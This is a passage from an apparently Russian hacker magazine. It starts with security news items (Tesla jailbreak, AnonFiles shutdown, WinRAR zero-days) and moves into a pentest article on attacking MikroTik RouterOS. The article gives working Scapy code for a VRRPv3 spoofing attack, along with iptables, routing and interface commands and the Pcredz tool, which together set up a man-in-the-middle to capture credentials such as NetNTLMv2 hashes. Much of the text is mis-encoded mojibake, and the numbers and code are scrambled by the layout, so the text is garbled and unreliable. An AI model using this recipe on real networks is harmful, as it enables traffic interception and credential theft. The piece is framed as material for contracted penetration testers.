свое авто за чье-то дру гое.

Ис сле дова тели отме тили, что ата ку, ско рее все го, мож но пре обра зовать
в готовый «про дукт», вро де мод-чипа, который будет исполь зовать ся
для джей лбрей ка по прин ципу plug-and-play. Сами экспер ты чем-то подоб ным
занимать ся не пла ниру ют, так как с юри дичес кой и эко номи чес кой точ ки зре- 
ния это была бы «весь ма сом нитель ная биз нес-модель».

Ав торы джей лбрей ка уве доми ли автопро изво дите ля о сво их выводах,
и ком пания уже работа ет над устра нени ем обна ружен ных проб лем.

«

»

«Tesla ñîîá ùèëà íàì, ÷òî íàø PoC äëÿ âêëþ ÷åíèÿ îáîã ðåâà çàä íèõ
ñèäåíèé îïè ðàåò ñÿ íà ñòà ðóþ âåð ñèþ ïðî øèâ êè. Â áîëåå íîâûõ âåð- 
ñèÿõ ïðî øèâ êè îáíîâëå íèå ýòî ãî ýëå ìåí òà êîí ôèãóðà öèè âîç ìîæíî
òîëü êî ïðè íàëè÷èè äåé ñòâè òåëü íîé ïîä ïèñè Tesla (ïðî âåðåí íîé/ïîä- 
òâåðæäåí íîé øëþ çîì). Òàêèì îáðà çîì, õîòÿ íàøè àòà êè çàëîæè ëè
âàæ íóþ îñíî âó äëÿ ýêñïå ðèìåí òîâ ñ ñèñ òåìîé â öåëîì, äëÿ âêëþ ÷åíèÿ
îáîã ðåâà çàä íèõ ñèäåíèé èëè ëþáîé äðó ãîé çàá ëîêèðî âàí íîé ôóí êöèè
ïîò ðåáó åòñÿ åùå îäèí ïðîã ðàì ìíûé èëè àïïà ðàò íûé ýêñ ïëî èò è àòà êà
íà øëþç».

Тем не менее ата ка на извле чение клю ча все еще работа ет даже с новей шей
про шив кой Tesla.

ДАННЫЕ УТЕКАЮТ В  РАЗ ЧАЩЕ40

В Рос комнад зоре под счи тали, что за пос ледние два года количес тво уте чек пер сональ ных дан- 
ных поль зовате лей вырос ло поч ти в  раз. Если в 2021 году таких инци ден тов было все го 
(утек ли  записей), то в 2022 году — свы ше  (  записей), а за
пер вые семь месяцев 2023 года уже про изош ло свы ше  уте чек.

40 4
2,7 мил лиона 140 600 мил лионов

150

В нас тоящее вре мя в Рос сии нас читыва ется не менее  струк тур, име ющих дос- 
туп к час тной информа ции. Рос комнад зор раз работал рекомен дации для всех опе рато ров пер- 
сональ ных дан ных. В час тнос ти, в ведомс тве пред лага ют миними зиро вать перечь пер сональ- 
ных дан ных, исполь зуя толь ко те, которые дей стви тель но необ ходимы для ока зания услу ги.
А так же нас таивают на «дроб лении» лич ных све дений, то есть хра нении каж дых кон крет ных
дан ных о челове ке (имя, номер телефо на, покуп ка) в раз ных базах.

5,5 мил лиона

ANONFILES
ЗАКРЫЛСЯ

По пуляр ный сер вис для ано ним ного обме на фай лами Anonles зак рылся. Его
адми нис тра торы заяви ли, что боль ше не могут справ лять ся с огромным
количес твом зло упот ребле ний со сто роны поль зовате лей.

Де ло в том, что Anonles был одним из наибо лее популяр ных фай лооб- 
менни ков сре ди прес тупни ков, которые исполь зовали его для обме на
образца ми укра ден ных дан ных, логинов и паролей, а так же матери алов,
защищен ных автор ским пра вом. Как ока залось, это не устра ива ло его адми- 
нис тра торов.

При этом не раз отме чалось ( , , ), что сайт имел дело с сом нитель ными
рек ламода теля ми, которые неред ко перенап равля ли людей на стра ницы
с вре донос ным ПО и нежела тель ными рас ширени ями для бра узе ров Google
Chrome и Firefox, а так же в фаль шивую тех ничес кую под дер жку.

1 2 3

Нап ример, при попыт ке ска чать файл с Anonles поль зовате лей сна чала
 на сайт, который заг ружал файл ISO с тем же име нем. Такой

ISO мог содер жать вре донос ные прог раммы, в том чис ле инфости леры, тро- 
яны уда лен ного дос тупа и рек ламные кли керы.

пе ренап равля ли

Так же в 2021 году иссле дова тели пре дуп режда ли, что вре донос ная рек- 
лама на Anonles рас простра няет извес тный инфости лер RedLine, а кро ме
того, на сай те были замече ны кам пании по рас простра нению бот нета
Amadey, сти лера Vidar и вымога теля STOP.

Од нако теперь опе рато ры Anonles зак рыли сер вис, заявив, что их прок- 
си-про вай дер недав но отклю чил их и они боль ше не могут справ лять ся
с огромным количес твом наруше ний.

Ни же при водим заяв ление адми нис тра ции Anonles пол ностью.

«

»

«Ïîñ ëå äâóõ ëåò áåñ êîíå÷ íûõ ïîïûòîê çàïóñ òèòü àíî íèì íûé ôàé ëîîá- 
ìåííûé ñàéò ìû óñòà ëè îò îãðîìíî ãî êîëè÷åñ òâà çëî óïîò ðåáëå íèé
è ãîëîâ íîé áîëè, êîòîðóþ ýòî íàì ñîç äàâàëî. 
Ýòî ìîæåò áûòü òðóä íî ïîíÿòü, íî ïîñ ëå äåñÿò êîâ ìèë ëèîíîâ çàã ðóçîê
è ìíî ãèõ ïåòàáàé òîâ äàí íûõ âñÿ ðàáîòà ïî áîðü áå ñî çëî óïîò ðåáëå- 
íèÿìè áûëà àâòî ìàòè çèðî âàíà ïî âñåì äîñ òóïíûì êàíàëàì, ÷òî áû
áûòü ìàê ñèìàëü íî áûñ òðîé. 
Ìû àâòî ìàòè ÷åñ êè áàíèëè êîí òåíò ñîòåí òûñÿ÷ ôàé ëîâ. Ìû çàï- 
ðåùàëè èìå íà ôàé ëîâ è çàï ðåùàëè êîí êðåò íûå ïàò òåðíû èñïîëü- 
çîâàíèÿ, ñâÿ çàí íûå ñî çëî óïîò ðåáëå íèÿìè. Äîø ëî äî òîãî, ÷òî íàñ
íå âîë íîâàëî, åñëè â ïðî öåñ ñå ìû ñëó ÷àé íî ïîëó÷à åì òûñÿ÷è ëîæ íûõ
ñðà áàòû âàíèé è óäà ëåíèé. 
Íî äàæå ïîñ ëå âñå ãî ýòî ãî êîëè÷åñ òâî çëî óïîò ðåáëå íèé íå óìåíü- 
øèëîñü. 
Ýòî íå òà ðàáîòà, êîòîðóþ ìû ïðåä ñòàâ ëÿëè ñåáå, êîã äà áðà ëèñü
çà ýòî. À íåäàâ íî íàø ïðîê ñè�ïðî âàé äåð íàñ îòêëþ ÷èë. 
Òàê áîëü øå ïðî äîë æàòü ñÿ íå ìîæåò. 
Äî ìåí ïðî äàåò ñÿ».

ХАКЕРОВ ТОЖЕ ВЗЛАМЫВАЮТ
Эк спер ты Hudson Rock изу чили око ло  хак форумов и обна ружи ли, что сами зло умыш ленни- 
ки неред ко ста новят ся жер тва ми: их сис темы заража ет вре донос ное ПО, похищая учет ные дан- 
ные от сай тов для кибер прес тупни ков.

100

Все го было обна руже но око ло  взло ман ных компь юте ров, при над лежащих хакерам,
а количес тво учет ных дан ных от раз ных хак форумов пре выси ло .

100  000
140 000

Ока залось, что более  ском про мети рован ных поль зовате лей име ли акка унты в сооб- 
щес тве  для начина ющих кибер прес тупни ков. На вто рое и третье мес та попали
чуть менее популяр ные хакер ские сай ты  и .

57  000
nulled[.]to

cracked[.]io hackforums[.]net

Утек шие пароли от форумов для кибер прес тупни ков чаще ока зыва лись более надеж ными, чем
учет ные дан ные для государс твен ных сай тов.

Са мые надеж ные пароли из всех изу чен ных про демонс три рова ли учас тни ки хак форума
Breached: более  учет ных дан ных здесь име ют дли ну не менее  сим волов и содер жат
сим волы четырех типов.
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MICROSOFT
НЕ ПРОДЛИТ
ЛИЦЕНЗИИ

Ком пания Microsoft сооб щила рос сий ским кли ентам, что лицен зии на про дук- 
ты и решения ком пании не будут прод левать ся пос ле 30 сен тября 2023 года.
Уже активные лицен зии про дол жат дей ство вать и пос ле этой даты, но толь ко
до кон ца оставше гося сро ка.

В рас поряже нии СМИ ока залось пись мо от служ бы под дер жки Microsoft
Online Services, нап равлен ное одно му из кли ентов. Оно гла сит, что пос- 
ле 30 сен тября текуще го года рос сий ские кор поратив ные кли енты не смо гут
прод лить под писку.

Microsoft пояс няет, что боль ше не может при нимать пла тежи на мес тный бан- 
ков ский счет в качес тве опла ты сво их услуг в Рос сии. Поэто му ком пания
за 60 дней уве дом ляет кли ента о том, что пос ле 30 сен тября прод лить сущес- 
тву ющие под писки уже не получит ся, а активные лицен зии про дол жат
работать лишь до исте чения их сро ка.

«
»

«Microsoft ïðè îñòà íàâ ëèâà åò çàïóñê íîâûõ ïðî äóê òîâ, ïðî äàæó ñåð- 
âèñîâ è ìíî ãèå äðó ãèå àñïåêòû ñâî åé äåÿòåëü íîñ òè â Ðîñ ñèè â ñîîò- 
âåòñ òâèè ñ ñàí êöè ÿìè ñî ñòî ðîíû Åâðî ñîþçà, Âåëèêîá ðèòàíèè
è ÑØÀ», — ïðî êîì ìåíòè ðîâà ëè â êîì ïàíèè èçäà íèþ Forbes.

Собс твен ные источни ки изда ния в IT-отрасли отме тили, что сей час долю
Microsoft в гос секто ре, в ком пани ях с госучас тием и сре ди кор поратив ных
кли ентов мож но оце нить в 80%, хотя еще год назад она сос тавля ла око- 
ло 90%, а два года назад — 95–96%.

За мес титель пред седате ля комите та Гос думы по информа цион ной
полити ке, информа цион ным тех нологи ям и свя зи Андрей Свин цов заявил
СМИ, что, по его мне нию, «в бли жай шие пол года-год все рос сий ские ана логи
будут дорабо таны и пос тепен но будет про веде но импорто заме щение».

«

»

«Åùå êàêîé�òî ïåðè îä áîëü øèíñ òâî ïðîã ðàì ìíûõ ïðî äóê òîâ
[Microsoft] áóäóò ïðî äîë æàòü ðàáîòàòü, ïðîñ òî áåç îáíîâëå íèé. Ïîíÿò- 
íîå äåëî, ÷òî íàøè ñïå öèàëèñ òû ïðàê òè÷åñ êè óæå âñå ïðîã ðàì ìíûå
ïðî äóê òû ðàñ ïàðîëè ëè, è èìè óæå ìîæ íî ïîëü çîâàòü ñÿ ïî ñåðîé ñõå- 
ìå. Áîëü øîå êîëè÷åñ òâî îòå ÷åñ òâåí íûõ ïðîã ðàì ìíûõ ïðî äóê òîâ óæå
âíåä ðÿåò ñÿ ïîâ ñåìåñ òíî. Íà ñåãîä íÿøíèé äåíü íå âñå åùå ôóí êöèè,
àíà ëîãè÷ íûå çàïàä íûì ïðî äóê òàì, åñòü, íî ïî êðàé íåé ìåðå áàçîâî
óæå ïîëü çîâàòü ñÿ ìîæ íî», — çàÿâ ëÿåò äåïóòàò.

ТРАФИК С РФ ВЫРОС В  РАЗ11

В середи не августа Мин цифры опуб ликова ло про ект стра тегии раз вития отрасли свя зи
до 2035 года. Сог ласно это му докумен ту, объ ем интернет-тра фика в интерне те в Рос сии
в 2022 году вырос более чем в  раз в срав нении с 2012 годом и дос тиг поч ти .11 124 экса байт

Из началь но (в 2012 году) тра фик сос тавлял . То есть более чем за десять лет
изме рений тра фик вырос свы ше чем в  раз, а в год он рос в сред нем на .

11,1 экса байт
11 27%

Эк сабайт равен десяти в 18-й сте пени, то есть квин тилли ону байт.

БЕЗЛИМИТНОГО
DROPBOX НЕ БУДЕТ

До недав него вре мени в Dropbox мож но было под клю чить без лимит ный
тариф ный план Dropbox Advanced для биз неса, сто имостью 24 дол лара
в месяц. Этот тариф пре дос тавлял неог раничен ный объ ем хра нили ща, что бы
биз нес-поль зовате ли мог ли не бес поко ить ся о лимитах. К сожале нию, теперь
от это го решено отка зать ся, так как некото рые поль зовате ли активно зло- 
упот ребля ли воз можнос тями Dropbox Advanced.

Ком пания сооб щает, что перес танет пре дос тавлять неог раничен ное хра- 
нили ще дан ных потому, что люди час то покупа ют акка унты Dropbox Advanced
«для таких целей, как май нинг крип товалют и Chia, объ еди нение хра нилищ
для лич ных нужд не свя зан ных меж ду собой лиц и даже для переп родажи».

Dropbox объ ясня ет, что такие кли енты исполь зовали в тысячи раз боль ше
дис кового прос транс тва, чем нас тоящие биз нес-кли енты.

Что бы не тра тить ресур сы на борь бу со зло упот ребле ниями, Dropbox вво- 
дит огра ниче ние в 15 Тбайт для орга низа ций с тре мя и менее поль зовате- 
лями. Сверх это го лимита на каж дого поль зовате ля может быть добав лено
еще 5 Тбайт, а мак сималь ный раз мер хра нили ща теперь сос тавля- 
ет 1000 Тбайт на орга низа цию.

Но вых поль зовате лей изме нения кос нутся сра зу, а сущес тву ющие поль- 
зовате ли будут пос тепен но переве дены на новые тариф ные пла ны с 1 нояб ря
текуще го года, о чем их уве домят не менее чем за 30 дней до перехо да.

Что бы помочь нас тоящим биз нес-кли ентам перей ти на новый режим
работы, Dropbox анон сиру ет, что кли енты, исполь зующие менее 35 Тбайт
дис кового прос транс тва на одну лицен зию, смо гут сох ранить преж ний объ ем
хра нили ща, а так же получат еще 5 Тбайт в течение пяти лет без допол нитель- 
ной опла ты.

TELEGRAM ОБОШЕЛ «ВКОНТАКТЕ»
Сог ласно ста тис тике Mediascope, этим летом Telegram обог нал «Вкон такте» по раз меру днев- 
ной ауди тории в Рос сии, уста новив новый рекорд.

В июле 2023 года показа тель днев ной ауди тории Telegram сос тавил  человек,
то есть на  боль ше, чем у «Вкон такте» ( ).

54,3 мил лиона
1,7 мил лиона 52,6 мил лиона

По срав нению с июнем за месяц ауди тория Telegram вырос ла на  человек
( ).

2,4  мил лиона
4,6%

Та ким обра зом, Telegram и «Вкон такте» в Рос сии обго няют YouTube по сред несуточ ному охва ту.

Тем не менее месяч ная ауди тория YouTube все же оста ется самой боль шой — в июле она пре- 
выси ла  человек. Для «Вкон такте» этот показа тель сос тавля ет 
поль зовате лей, для Telegram — .

95,5 мил лиона 87,6 мил лиона
81,2 мил лиона

WINRAR АТАКУЮТ

В августе в WinRAR был обна руже ны и исправ лены сра зу две уяз вимос ти,
одна из которых пред став ляла собой 0-day, то есть уже исполь зовалась
хакера ми.

Пер вая уяз вимость, CVE-2023-40477, поз воляла добить ся выпол нения
про изволь ного кода в целевой сис теме, и для экс плу ата ции проб лемы дос- 
таточ но было вынудить жер тву открыть архив RAR.

«
»

«Íåäîñ òàòîê ñâÿ çàí ñ îáðà áîò êîé òîìîâ âîñ ñòà íîâ ëåíèÿ (recovery
volumes), — ïèñàëè ñïå öèàëèñ òû Zero Day Initiative, îáíà ðóæèâ øèå
áàã. — Ïðîá ëåìà âîç íèêà åò èç�çà îòñóòñ òâèÿ íàä ëåæàùåé ïðî âåð êè
ïðå äîñ òàâëÿ åìûõ ïîëü çîâàòå ëåì äàí íûõ, ÷òî ìîæåò ïðè âåñ òè ê îáðà- 
ùåíèþ ê ïàìÿòè çà ïðå äåëà ìè âûäåëåí íîãî áóôåðà».

Пос коль ку ата ка все же тре бует вза имо дей ствия с поль зовате лем (ведь цель
дол жна открыть архив), уяз вимость наб рала 7,8 бал ла из 10 воз можных
по шка ле оцен ки уяз вимос тей CVSS, то есть не счи тает ся кри тичес кой. Одна- 
ко обма ном вынудить поль зовате ля открыть архив не так уж слож но, а учи- 
тывая огромный объ ем поль зователь ской базы WinRAR, уяз вимость может
пред став лять боль шую опас ность.

Вто рая уяз вимость, CVE-2023-38831, ока залась проб лемой нулево го дня.
По информа ции Group-IB, проб лема активно исполь зовалась зло умыш ленни- 
ками для уста нов ки мал вари, а для экс плу ата ции бага дос таточ но было
вынудить жер тву открыть безобид ный файл из архи ва (в фор мате JPG, TXT
и дру гих).

Ис сле дова тели рас ска зали, что хакеры исполь зовали уяз вимость с апре- 
ля 2023 года, что бы рас простра нять раз личные семей ства вре донос ных
прог рамм, вклю чая DarkMe, GuLoader и Remcos RAT.

В основном ата ки были обна руже ны на форумах, пос вящен ных тор говле
крип товалю тами. Там хакеры прит ворялись энту зиас тами, делящи мися сво- 
ими тор говыми стра теги ями с дру гими трей дерами. К сооб щени ям зло умыш- 
ленни ки прик ладыва ли ссыл ки на спе циаль но под готов ленные архи вы
WinRAR, которые яко бы содер жали деталь ную информа цию о тор говой стра- 
тегии (PDF, тек сто вые фай лы и изоб ражения).

Вре донос ные архи вы рас простра нялись как минимум на вось ми откры тых
трей дер ских форумах, и с их помощью были зараже ны устрой ства
не менее 130 поль зовате лей. При этом общее чис ло жертв этой кам пании
и их финан совые потери пока неиз вес тны.

От кры вая вре донос ный архив, жер твы видели лишь набор безобид ных
на пер вый взгляд фай лов, вклю чая уже упо мяну тые PDF, тек сто вые фай лы,
а так же изоб ражения в фор матах JPG, PNG и про чих.

Но если поль зователь кли кал на такой PDF или кар тинку, бла года ря уяз- 
вимос ти CVE-2023-38831 запус кался скрипт для уста нов ки мал вари.
При этом скрипт так же заг ружал и показы вал поль зовате лю документ-фаль- 
шив ку, что бы не вызывать подоз рений.

В ито ге скрипт исполь зовал ся для запус ка саморас паковы вающе гося (SFX)
CAB-архи ва, который заражал компь ютер мал варью (DarkMe, GuLoader
и Remcos RAT), обес печивая зло умыш ленни кам уда лен ный дос туп к заражен- 
ному устрой ству и поз воляя похитить крип товалют ные акти вы жер твы.

Обе опи сан ные выше проб лемы были устра нены в начале августа, ког да
ком пания RARLAB выпус тила обновлен ный . Теперь поль зовате- 
лям WinRAR рекомен дует ся как мож но ско рее уста новить эту вер сию, что бы
защитить ся от воз можных атак.

WinRAR 6.23

Уче ные наш ли спо соб авто мати зиро вать соз дание вре донос ных зап росов для чат-ботов
с искусс твен ным интеллек том

CISA, АНБ и ФБР сос тавили спи сок самых экс плу ати руемых уяз вимос тей

Ата ка поз воля ет вос ста нав ливать дан ные по зву ку нажатий кла виш

SentinelOne: северо корей ские хакеры взло мали «НПО машинос тро ения», про изво дящее ракеты

0-day-уяз вимос ти под общим наз вани ем BitForge угро жают крип товалют ным кошель кам

Под рос тки взло мали тран спортные кар ты мет ро Бос тона, вдох новив шись ата кой 2008 года

Discord(.)io под твер дил утеч ку дан ных 760 тысяч поль зовате лей

«Рос телеком» тес тиру ет внут ренний сер вис для дос тупа к YouTube

Microsoft добав ляет под дер жку Python в Excel

Tor-сер висы защитят от атак при помощи proof-of-work

https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=232&cHash=c5bf79590657e32554c6683296a8e8aa
https://xakep.ru/2023/08/02/adversarial-attacks-on-aligned-language-models/
https://xakep.ru/2023/08/03/most-exploited-cves/
https://xakep.ru/2023/08/08/acoustic-side-channel-attack/
https://xakep.ru/2023/08/09/scarcruft-attack/
https://xakep.ru/2023/08/11/bitforge/
https://xakep.ru/2023/08/14/charliecard-hack/
https://xakep.ru/2023/08/15/discord-io-leak/
https://xakep.ru/2023/08/22/ytonline/
https://xakep.ru/2023/08/23/python-excel/
https://xakep.ru/2023/08/29/tor-pow/
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Это автор ское иссле дова ние о безопас- 
ности обо рудо вания MikroTik с точ ки зре ния
ата кующе го. Обо рудо вание MikroTik край не
популяр но и неред ко ста новит ся жер твой
раз ных атак. Я сде лаю акцент на пос тэкс- 
плу ата ции. Так же зат рону проб лему
безопас ности защит ных механиз мов
RouterOS, недос татка ми которых поль зуют- 
ся ата кующие.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÏÐÎÁËÅÌÛ ÑÅÒÅÂÎÉ ÁÅÇÎÏÀÑÍÎÑÒÈ

У RouterOS есть нес коль ко проб лем сетевой безопас ности. Давай пос- 
мотрим, на какие из них сто ит обра тить вни мание в пер вую оче редь.

DAI
RouterOS не в сос тоянии защитить сеть от ARP Spoong за исклю чени ем
исполь зования режима  в кон фигура ции . По фак ту этот

режим работы пред став ляет собой ста тичес кую ARP-таб лицу, которую в кор- 
поратив ных сетях вес ти нерен табель но, так как при появ лении каж дого
нового хос та при дет ся заходить на устрой ство и заносить MAC и IP вруч ную.
Спо соб дей ствен ный, одна ко малоп ривле катель ный из-за боль ших
неудобств. Поэто му, встре тив обо рудо вание MikroTik, ата кующий в боль шинс- 
тве слу чаев может не отка зывать себе в ARP-спу фин ге: ему не сто ит ожи дать
вне зап ной тре воги ARP Inspection, ведь это го механиз ма в RouterOS, по сути,
нет.

reply-only bridge

RA Guard
RA Guard пред став ляет собой фун кцию безопас ности, которая отсе кает
несан кци они рован ные router advertisements внут ри сети с целью пре дот вра- 
щения MITM-атак. RA Guard пол ностью отсутс тву ет в RouterOS и Switch OS,
обо рудо ванию абсо лют но нечем отве тить на популяр ный инс тру мент пен- 
тесте ров — mitm6. Единс твен ный вари ант, который оста ется, — филь тро вать
на уров не брид жа по MAC-адре сам наз начения.

По чему у девай сов MikroTik нет таких важ ных фун кций безопас ности —
непонят но. Такое ощу щение, что их ПО зас тря ло в девянос тых.

Àáüþç DP
RouterOS по умол чанию выпол няет рас сылку Discovery-про токо лов, которые
могут рас крыть чувс тви тель ную информа цию о себе потен циаль ному ата- 
кующе му. В RouterOS активны три Discovery-про токо ла:

CDP (Cisco Discovery Protocol);•
LLDP (Link Layer Discovery Protocol);•
MNDP (MikroTik Neighbor Discovery Protocol).•

Ата кующий может получить чувс тви тель ную информа цию в виде вер сии про- 
шив ки, адре сации, име ни устрой ства, номера модели обо рудо вания MikroTik.
Век тор край не спе цифи чес кий, одна ко все же может при менять ся.

При мер зах вачен ного MNDP-тра фика

ÑÏÓÔÈÍÃ Â ÑÈÑÒÅÌÅ ÐÅÇÅÐÂÈÐÎÂÀÍÈß VRRPV3

VRRP (Virtual Router Redundancy Protocol) — это про токол резер вирова ния
мар шру тиза торов на уров не L3, в его осно ве лежит прин цип соз дания вир- 
туаль ного мар шру тиза тора за счет объ еди нения физичес ких мар шру тиза- 
торов в одну логичес кую груп пу. Затем соз данно му вир туаль ному роуте ру
прис ваивает ся IP-адрес, который, в свою оче редь, наз нача ется как шлюз
по умол чанию для конеч ных стан ций.

По сво ему опы ту ска жу, что в RouterOS в боль шинс тве слу чаев исполь- 
зует ся кон фигура ция VRRPv3 по умол чанию, адми нис тра торы в основном
нас тра ивают толь ко при ори тет и номер груп пы, а вер сию и аутен тифика цию
обыч но не зат рагива ют. Это и откры вает дорогу для экс плу ата ции со сто роны
ата кующе го.

Ни же — при мер такой кон фигура ции по умол чанию.

Кон фигура ция VRRPv3 по умол чанию

Спу финг MASTER-роли в VRRP при водит к MITM-ата ке в отно шении целой
под сети, что может быть очень кри тич но во вре мя пен теста. Ста новит ся воз- 
можным перех ват чувс тви тель ных дан ных, ата ка Evil Twin, даже Relay-ата ки
про тив сетей Windows.

Ïåðå÷èñëåíèå èíôîðìàöèè
Преж де чем исполь зовать дру гие тех ники, нуж но про вес ти перечис ление
информа ции о домене VRRP. Нуж ны дан ные об исполь зуемом вир туаль ном
адре се, наличии аутен тифика ции, номере груп пы VRRP и зна чении при ори- 
тета.

Вот при мер пакета VRRP. В кон тек сте домена VRRP-пакеты отправ ляет
толь ко MASTER-устрой ство.

Зах вачен ный VRRPv3-пакет

Здесь мы видим, что:
ис поль зует ся третья вер сия VRRP;•
от сутс тву ет аутен тифика ция (типич но для VRRPv3);•
но мер груп пы VRRP — 1;•
при ори тет — 190.•

Èíúåêöèÿ
Глав ный аспект этой ата ки — инъ екция вре донос ного пакета VRRPv3 с мак- 
сималь ным зна чени ем при ори тета. Есть даже такая прак тика безопас ности,
где рекомен дует ся ста вить наивыс ший при ори тет 255, одна ко для VRRP мож- 
но уста новить такое зна чение мак симум до 254, так как зна чение 255 ухо дит
занима емо му мас теру. Пос ле такой инъ екции ата кующий перех ватыва ет роль
MASTER и начина ет сам обслу живать тра фик сети. Даже нес мотря на то, что
воз ника ет MITM, нель зя нарушать нор маль ное фун кци они рова ние сети,
а поэто му при дет ся порабо тать над схе мой мар шру тиза ции на хос те ата- 
кующе го.

В качес тве лабора тор ного стен да выс тупа ет сле дующая сеть.

Схе ма лабора тор ной сети с VRRPv3

Са му инъ екцию я сде лал с помощью Scapy, мне понадо бил ся модуль 

 для работы с про токо лом VRRP. Пакет будет выг лядеть при мер- 

но сле дующим обра зом. Оставлю акцент на зна чени ях имен но слоя VRRPv3.
На самом деле это часть кода все го спу фера, фун кция  при нима ет

вход ные дан ные на осно ве аргу мен тов (я исполь зовал биб лиоте ку argparse).

scapy.
layers.vrrp

inject

   def inject(interface, group, attackerip):
     L2frame = Ether()
       L3packet = IP(src=args.attackerip, dst="224.0.0.18", ttl=255)
        

  
vrrpv3inj = VRRPv3(version=3, type=1, vrid=args.group, priority=

255, ipcount=1, addrlist=['10.10.100.254'])
         crafted = L2frame / L3packet / vrrpv3inj
       sendp(crafted, iface=args.interface, inter=1, loop=1, verbose=1)

Здесь
 зна чит, что этот VRRP-пакет выпол няет роль объ явле ния

;
• type=1

Advertisement

 — мак сималь ный при ори тет для инъ екции;• priority=255

 — количес тво IP-адре сов у MASTER-устрой ства. Ата кующий
будет вла деть толь ко одним IP-адре сом;

• ipcount=1

 ука зыва ет на то, каким IP-адре сом
будет вла деть ата кующий при перех вате MASTER-роли, офор мля ется
в виде спис ка в коде на Python;

• addrlist=['10.10.100.254']

 — пакет VRRPv3 будет генери ровать ся каж дую секун ду, пос коль- 
ку легитим ный девайс тоже отправ ляет их каж дую секун ду. Гру бо говоря,
это спе циаль ные Hello-сооб щения, которые опо веща ют, что MASTER
в поряд ке и про дол жает свою работу. Одна ко, если в течение трех секунд
сооб щения не пос леду ет, один из резер вных роуте ров заменит MASTER;

• inter=1

 ука зыва ет на то, что пакет будет отправ лять ся бес конеч но.• loop=1

GARP-êàäð
Ког да роуте ры меня ются ролями, они отправ ляют спе циаль ные сооб щения
Gratuitous ARP, которые объ явля ют на весь VLAN, что воз никла новая при вяз ка
IP и MAC-адре са, спе циаль ная модифи кация ARP-кад ра. Ког да новое устрой- 
ство ста новит ся MASTER, ему необ ходимо объ явить это и на уров не ARP,
с помощью GARP-рас сылки. Ата кующе му тоже пред сто ит это сде лать, что бы
избе жать DoS. Для это го у меня есть инс тру мент , который генери рует
и отправ ляет необ ходимые кад ры GARP.

Cruelty

caster@kali:~$ sudo python3 Cruelty.py --interface ethX --mac XX:XX:
XX:XX:XX:XX --gateway X.X.X.X 

Óêëîíåíèå îò òðàññèðîâêè
Со сто роны поль зователь ско го компь юте ра мож но опре делить ата кующе го
в тот момент, ког да он про водит трас сиров ку. Ата кующий может избе жать
это го, если смес тит TTL с инкре мен том +1 в таб лице Mangle и в цепоч ке

.PREROUTING

 TTL 
 1 

caster@kali:~$ sudo iptables -t mangle -A PREROUTING -i ethX -j
--ttl-inc

Ïðîáëåìà àñèììåòðè÷íîé ìàðøðóòèçàöèè
Во вре мя MITM-ата ки воз ника ет асим метрич ная мар шру тиза ция — явле ние,
при котором тра фик отправ ляет ся одним путем, а воз вра щает ся дру гим.
Это может при вес ти к тому, что ата кующий про пус тит мимо себя дру гую
полови ну тра фика, потен циаль но потеряв чувс тви тель ные дан ные. Что бы
решить эту проб лему, необ ходимо спе циаль ное пра вило  в таб- 
лице NAT, в цепоч ке .

MASQUERADE
POSTROUTING

 nat caster@kali:~$ sudo iptables -t -A POSTROUTING -o ethX -j 
MASQUERADE 

Про хож дение тра фика при асим метрич ной мар шру тиза ции

Про хож дение тра фика пос ле MASQUERADE на сто роне ата кующе го

Ìàðøðóòèçàöèÿ
Пос ле инжекта необ ходимо занять ся неболь шим роутинг-менед жмен том.

Спер ва нуж но уда лить ста рый мар шрут по умол чанию (для ата кующе го
это был 10.10.100.254). Так как ата кующий стал новым MASTER-мар шру тиза- 
тором, мы — вла дель цы это го вир туаль ного адре са (10.10.100.254), но при
ста ром мар шру те весь тра фик замыка ется на нашей ОС, что без допол- 
нитель ной мороки вызыва ет DoS на легитим ные хос ты. Про пишем новый
мар шрут по умол чанию через  (это быв ший MASTER-роутер),
но даже нес мотря на то, что мы отжа ли у него роль MASTER, он все рав но
смо жет выпол нить мар шру тиза цию тра фика, куда нам нуж но.

10.10.10.100

caster@kali:~$ sudo route del default 
caster@kali:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.
100.100 

Так же надо соз дать на интерфей се вто рич ный адрес со зна чени ем VRRP
Virtual IP Address (10.10.10.254). Опять же пос ле ата ки мы ста ли вла дель цами
это го адре са.

caster@kali:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.
255.0 

Èìïàêò
Пос ле всех этих манипу ляций ата кующий вос про изво дит MITM и может прос- 
лушивать тра фик внут ренне го сег мента, в котором сам и находит ся.
Облегчить поиск учет ных дан ных в тра фике может инс тру мент Pcredz:

caster@kali:~/mikrotiknightmare/Pcredz$ sudo python3 Pcredz -i eth0 

Пе рех вачен ный NetNTLMv2-SSP поль зовате ля claymore

Так же важ но, что бы твое железо выдер жало такую наг рузку: учи тывай мощ- 
ности про цес сора и ско рость интерфей са. Такой спу финг при водит к тому,
что весь тра фик под сети пой дет в твою сто рону. Так же можешь не боять ся
за чис тоту этой ата ки. Ког да ты прек ратишь VRRP-инъ екцию, легитим ные
VRRP-роуте ры сно ва про ведут сог ласова ние и сеть вер нется на кру ги своя.
Да и Dead Timer в сетях VRRP обыч но очень малень кий, сеть быс тро вос ста- 
новит ся, и будет наз начен легитим ный MASTER.

Чи тай так же мою статью «
». В ней я пред лагаю новый спо соб орга низа- 

ции быс тро го L2-тун нелиро вания про тив машин Windows. Глав ный эле мент
этой тех ники — вир туаль ный мар шру тиза тор MikroTik CHR, воз можнос ти
которо го поз воля ют обес печить переме щение по сети.

Caster Remix. Исполь зуем вир туаль ный MikroTik
для пос тэкс плу ата ции Windows

ROUTEROS TRAFFIC HIJACKING

Я покажу спе цифи чес кий век тор ата ки при пос тэкс плу ата ции, при котором
ата кующий может перех ватывать тра фик внут ри инфраструк туры, не вли яя
на нор маль ную работу сети.

GreenDog — Easy Hack #196 (Caster Bootleg)
Ис сле дова тель безопас ности Алек сей Тюрин в сво ем релизе 
про демонс три ровал тех нику перех вата тра фика с устрой ств Cisco с исполь- 
зовани ем SPAN. SPAN — это по фак ту ана лог  в RouterOS

и выпол няет те же фун кции, одна ко при нас трой ке клас сичес кого SPAN
на ком мутато ре: порт перес тает работать в обыч ном режиме, из-за чего
